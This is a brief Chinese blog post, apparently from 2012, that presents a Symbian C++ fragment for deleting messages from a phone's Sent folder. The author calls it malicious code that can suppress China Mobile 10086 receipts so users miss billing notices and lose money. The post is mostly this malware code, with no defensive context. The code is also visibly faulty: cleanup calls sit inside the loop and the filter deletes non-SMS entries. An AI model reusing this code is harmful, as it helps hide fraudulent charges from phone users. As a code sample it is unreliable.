删除发件箱的短信

恶意代码,可能运行过程中屏蔽10086发送的回执短信,删除短信, 同时使用户无法及时收到扣费信息,给用户造成一定的经济损失.

 TMsvId* entryId = STATIC_CAST( TMsvId*, aArg2 );
  if ( *entryId == KMsvSentEntryId )
  {
             TMsvSelectionOrdering sort;
             sort.SetSorting(EMsvSortByDateReverse);
             sort.SetShowInvisibleEntries(ETrue); // we want to handle also the invisible entries
             CMsvEntry* parentEntry = CMsvEntry::NewL(*iSession, KMsvSentEntryId, sort);

             CleanupStack::PushL(parentEntry);
             CMsvEntrySelection* entries = parentEntry->ChildrenL();  

             CleanupStack::PushL(entries);
              for(TInt i = 0; i < entries->Count(); i++)
              {
                        if( parentEntry->ChildDataL(entries->At(i)).iMtmData3 != KUidMsgTypeSMS.iUid )
                        {
                                parentEntry->DeleteL(entries->At(i));
                         }
                         CleanupStack::PopAndDestroy( entries );
                         CleanupStack::PopAndDestroy( parentEntry );
               }

 

posted @ 2012-12-22 23:03  小金马  阅读(186)  评论(0编辑  收藏  举报